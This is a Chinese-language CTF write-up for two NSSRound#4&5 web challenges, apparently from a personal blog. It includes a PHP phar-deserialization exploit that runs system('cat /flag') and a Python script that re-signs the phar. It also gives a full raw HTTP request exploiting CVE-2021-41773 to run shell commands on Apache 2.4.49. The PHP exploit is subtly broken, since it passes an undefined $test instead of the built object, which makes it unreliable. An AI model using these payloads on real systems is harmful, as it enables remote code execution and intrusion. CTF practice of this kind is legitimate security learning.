NSSRound#4&5 Web题解

[NSSRound#4&5] Web题解

1zweb(revenge)

因为题目存在一个任意文件读取漏洞,然后原题没banflag关键字,可以直接读了

主要考点就是

  • 反序列化
  • phar文件相关利用手法

首先看到页面查询文件,存在任意文件读取,直接先把两个源码读出来

index.php

<?php
class LoveNss{
public $ljt;
public $dky;
public $cmd;
public function __construct(){
$this->ljt="ljt";
$this->dky="dky";
phpinfo();
}
public function __destruct(){
if($this->ljt==="Misc"&&$this->dky==="Re")
eval($this->cmd);
}
public function __wakeup(){
$this->ljt="Re";
$this->dky="Misc";
}
}

upload.php

<?php
if ($_FILES["file"]["error"] > 0){
echo "上传异常";
}
else{
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);
if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){
$content=file_get_contents($_FILES["file"]["tmp_name"]);
$pos = strpos($content, "__HALT_COMPILER();");
if(gettype($pos)==="integer"){
echo "ltj一眼就发现了phar";
}else{
if (file_exists("./upload/" . $_FILES["file"]["name"])){
echo $_FILES["file"]["name"] . " 文件已经存在";
}else{
$myfile = fopen("./upload/".$_FILES["file"]["name"], "w");
fwrite($myfile, $content);
fclose($myfile);
echo "上传成功 ./upload/".$_FILES["file"]["name"];
}
}
}else{
echo "dky不喜欢这个文件 .".$extension;
}
}
?>

思路很清晰,利用file_get_contents读phar文件去触发反序列化,执行__destruct()方法,实现任意代码执行

exp

<?php
class LoveNss{
public $ljt="Misc";
public $dky="Re";
public $cmd="system('cat /flag');";
}

$a = new LoveNss();

$phar = new Phar("lnk.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetaData($test);
$phar->addFromString("exp.txt","exp");
$phar->stopBuffering();

然后010修改属性个数绕过wakeup,再修正一下签名

#!/usr/bin/env python3
from hashlib import sha1

with open('./lnk.phar', 'rb') as f:
content = f.read()
# 签名数据28个字节
main = content[:-28]
# 签名类型及GBMB标识
hs = content[-8:]
# 数据 + 签名 + 类型 + GBMB
new = main + sha1(main).digest() + hs
open("test.phar", "wb").write(new)

之后文件内容绕过,自然想到gzip压缩一下

改一下后缀名上传,然后伪协议直接读

ez_rce

考点

  • CVE-2021-41773
  • linux命令

打开题目发现只有一个it works抓个包发现了apache中间件的版本

搜索可以发现CVE-2021-41773 Apache HTTPd 2.4.49 路径穿越以及RCE漏洞

利用如下数据包

POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: 1.14.71.254:28909
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 28

echo;id

发现可以成功执行

接着就是这题采取了一个文件夹迷宫,存在多层,可以利用grep命令进行递归查找

作者

秋秋晚

发布于

2022-08-31

更新于

2023-01-10

许可协议

评论

:D 一言句子获取中...